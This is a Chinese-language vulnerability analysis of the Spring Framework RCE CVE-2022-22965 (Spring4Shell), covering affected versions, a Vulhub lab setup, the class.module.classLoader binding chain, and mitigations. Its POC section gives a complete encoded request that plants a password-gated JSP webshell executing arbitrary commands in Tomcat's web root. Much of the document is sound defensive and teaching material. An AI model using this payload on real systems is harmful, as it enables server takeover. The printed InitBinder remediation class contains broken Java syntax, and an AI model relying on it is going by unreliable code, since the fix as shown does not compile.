# x00 漏洞概述

Spring framework 是 Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022 年 3 月 31 日,VMware Tanzu 发布漏洞报告,Spring Framework 存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux  应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。springframework 是 spring 里面的一个基础开源框架,主要用于 javaee 的企业开发。

2022 年 3 月 30 日,Spring 框架曝出 RCE 0day 漏洞,攻击者通过该漏洞可远程实现对目标主机的后门文件写入和配置修改,继而通过后门文件访问获得目标主机权限。

# x01 影响范围

受影响范围

  • Spring Framework < 5.3.18
  • Spring Framework < 5.2.20

及其衍生产品

  • JDK ≥ 9
  • JRE ≥ 9

不受影响版本

  • Spring Framework = 5.3.18
  • Spring Framework = 5.2.20

  • JDK < 9
  • JRE < 9

# x02 复现

# Docker Compose & Vulhub

version: '2'
services:
 spring:
   image: vulhub/spring-webmvc:5.3.17
   ports:
    - "8080:8080"

# x03 漏洞背景

Spring 是 Java EE 编程领域的一个轻量级开源框架,提供了功能强大 IOC、AOP 及 Web MVC 等功能。近日,新华三攻防实验室威胁预警团队监测到 Spring 框架存在远程代码执行漏洞 (CVE-2022-22965),也被称为 SpringShell 或 Spring4Shell,并及时进行了跟踪和分析。在 JDK9 及以上版本环境中,使用受影响的 Spring 框架及衍生框架会受该漏洞影响,远程攻击者可写入任意文件,从而导致远程代码执行。

# x04 漏洞原理

由于 Spring 处理流程存在缺陷,在 JDK9 及以上版本的 Spring 框架环境中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取 AccessLogValve 对象并注入恶意字段值,触发 pipeline 机制,从而在任意路径下写入文件。

类似 CVE-2010-1622 漏洞,CVE-2010-1622 漏洞的原因是 Spring 参数绑定时,可以注入一个 Java pojo 对象,这个对象可以是恶意的去注册一些敏感 tomcat 的属性,最后通过修改 Tomcat 的配置来执行危险操作。假设我们的业务逻辑中有这样一个 User。

public class User {
    private String name;
    private int age;
    public User() {
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
}

Controller 接收 User 参数,Spring 会自动解析接收到的参数

@RestController
public class UserController {
    @RequestMapping("/hello")
    @ResponseBody
    public String hello(User user) {
        return "hello" + user.getName() + "!";
    }
}

如果用户传入的是 http://localhost:8080/hello?name=Roderick ,那么 Spring 会调用 User.setName('Roderick') 对 User 类的 name 进行赋值。也就是攻击者可以直接调用 Pojo 对象的属性, settergetter 方法。

// 所有 Java 对象的父类都为 Object,Object 拥有一个 getClass 方法用来获取对象的 Class
public final native Class<?> getClass();

而 Class 对象又有 getClassLoader,这个在 Tomcat 中会获取到 org.apache.catalina.loader.ParallelWebappClassLoader (负责加载 tomcat 中每个应用的类包,每个应用一个),它保存了 Tomcat 的一些全局配置。CVE-2010-1622 的攻击原理就是通过传入 http://localhost:8080/hello?name=Roderick&class.classLoader.xx=xxxx 改变 Tomcat 配置的值来构造恶意操作,例如 DoS、写 Shell。

// 利用链
class.classLoader.resources.context.parent.pipeline.first.pattern

对应这个现象的修复方式是在 CachedIntrospectionResults ,对 ClassclassLoader 做判断,二者不能连用了。也就是上述的 class.classLoader.xx 被禁掉了,无法再进行利用。

**Spring core RCE(CVE-2022-22965)** 就是绕过了这个限制,因为在 Java9 开始,Class 对象中增加了 getModule 方法,获取的是 Module 类对象,module 存在 getClassLoader 方法,正好用来写一条新的利用链。

Java 的最小可执行文件是 Class,jar 则是 Class 文件的容器,可以打包许多 Class。如果要运行一个 jar 应用,命令如下。app.jar 是打包的应用,a.jar 等是可能用到的第三方 jar 包。

java -cp app.jar:a.jar:b.jar:c.jar org.com.sample.Main

如果少引用了某个 jar 可能出现 ClassNotFoundException 的报错。因为 jar 作为容器,只打包 Class,并不关联 Class 间的依赖。

而 JDK 9 开始引入的 Module 则是主要解决 “依赖” 的问题。能让 a.jar 自动定位到依赖的 b.jar。Module 类的设计引入了 getClassLoader 方法,返回此模块的 ClassLoader。这也是 Spring core RCE 绕过限制的原因, class.classLoader 被禁止了,但是在 JDK9 之后可以写成 class.module.classLoader ,获取到 ClassLoader 后就可以利用之前的方式将 shell 写进日志,保存日志到 web 目录下 getshell。

// 利用链
class.module.classLoader.resources.context.parent.pipeline.first.pattern

该漏洞通过修改 Tomcat 的日志设置(通过 AccessLogValve) 来写入恶意文件,AccessLogValue 主要利用字段

字段 含义
directory 将放置此 Valve 创建的日志文件的目录的绝对或相对路径名。如果指定了相对路径,则将其解释为相对于 $CATALINA_BASE。如果未指定目录属性,则默认值为 “logs”(相对于 $CATALINA_BASE)。
prefix 添加到每个日志文件名称开头的前缀。如果未指定,默认值为 “access_log”。
suffix 添加到每个日志文件名称末尾的后缀。如果未指定,则默认值为 “”(长度为零的字符串),表示不会添加后缀。
fileDateFormat 允许在访问日志文件名中自定义时间戳。每当格式化的时间戳更改时,文件就会旋转。默认值为 .yyyy-MM-dd 。如果您希望每小时轮换一次,则将此值设置为 .yyyy-MM-dd.HH 。日期格式将始终使用 locale 进行本地化 en_US
pattern 一种格式布局,用于标识要记录的请求和响应中的各种信息字段,或者选择标准格式的   commoncombined

commoncombined 包括 %a %A %b %h %u 等,另外,还支持从 cookie、请求头中传入等:

%{xxx}i 请求头中传入
%{xxx}o 响应头传入
%{xxx}c 特定cookie传入
%{xxx}r xxx是ServletRequest中的一个属性
%{xxx}s xxx是HttpSession中的一个属性

网上随便找的 POC

suffix: %>//
c1: Runtime
c2: <%
DNT: 1
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

注:POC 中 class.classLoader.resources.context.parent.pipeline.first 这个属性实际是 org.apache.catalina.valves.AccessLogValve  ,

​ dataformat 会触发切换日志的原因是 class.classLoader.resources.context.parent.pipeline.first.rotatable ,每次 Log 时,都会调用 rotate。

最新的 spring 官方修复

可以看到,这次官方不在采用黑名单的形式去防御,而是采用白名单,当 beanClass 是 class.Class 时,只允许添加 name 属性。并且如果属性是 ClassLoader 和 ProtectionDomain,会被忽略。

# x05 修复方案

受该漏洞影响的环境需要同时满足以下条件:

1) JDK 版本大于等于 9

2) 使用受影响的 Spring 框架或衍生框架

3) Spring-webmvc 或 Spring-webflux 依赖项

1**、 排查 JDK 版本 **

在使用 Spring 框架的服务器中,命令行下执行 “java –version”,查看当前 JDK 版本,如果 JDK 版本在 8 及以下,则不受此漏洞影响。

2**、 排查 Spring 框架 **

(1)业务系统通过 war 包部署

a. 解压 war 包:将 war 包文件的后缀名改为 zip,解压该 zip 文件;

b. 在解压后的文件目录中搜索是否存在如 spring-beans-*.jar 形式的 jar 文件,若存在,说明采用了 spring 框架;

c. 若没有 spring-beans-*.jar 形式的 jar 文件,则搜索是否存在 CachedInstrospectionResults.class 文件,若存在,说明采用了 spring 框架。

(2) 业务系统通过 jar 包部署

a. 解压 jar 包:将 jar 包文件的后缀名改为 zip,解压该 zip 文件;

b. 在解压后的文件目录中搜索是否存在如 spring-beans-*.jar 形式的 jar 文件,若存在,说明采用了 spring 框架;

c. 若没有 spring-beans-*.jar 形式的 jar 文件,则搜索是否存在 CachedInstrospectionResults.class 文件,若存在,说明采用了 spring 框架。

临时修复措施

如暂时无法升级至安全版本,受影响用户可采取以下临时方案进行修复。

1、 在应用中全局搜索 @InitBinder 注解,查看方法体内是否调用 dataBinder.setDisallowedFields 方法,如果存在该代码片段的引入,则在原来的黑名单中添加 {“class.”,“Class.”,“.class.”,“.Class.”}。

注:如果此代码片段使用较多,在每个地方都要追加。

2、在应用系统系统的项目中新建以下全局类,并保证该类被 Spring 加载(推荐在 Controller 所在的包中添加)。完成添加后,需对项目进行重新编译打包和测试验证,并重新发布项目。

import org.springframework.core.annotation.Order;

import org.springframework.web.bind.WebDataBinder;

import org.springframework.web.bind.annotation.ControllerAdvice;

import org.springframework.web.bind.annotation.InitBinder;

@ControllerAdvice

@Order(10000)

public class GlobalControllerAdvice{

@InitBinder

public void setAllowedFields(WebDataBinder dataBinder){

String[] abd=new String{"class.","Class.",".class.",".Class."};

dataBinder.setDisallowedFields(abd);

}

}

新华三解决方案

1、新华三安全设备防护方案

新华三 IPS 规则库将在 1.0.176 版本支持对该漏洞的识别,新华三全系安全产品可通过升级 IPS 特征库识别该漏洞的攻击流量,并进行主动拦截。

2、新华三态势感知解决方案

新华三态势感知已支持该漏洞的检测,通过信息搜集整合、数据关联分析等综合研判手段,发现网络中遭受该漏洞攻击及失陷的资产。

3、新华三云安全能力中心解决方案

新华三云安全能力中心知识库已更新该漏洞信息,可查询对应漏洞产生原理、升级补丁、修复措施等。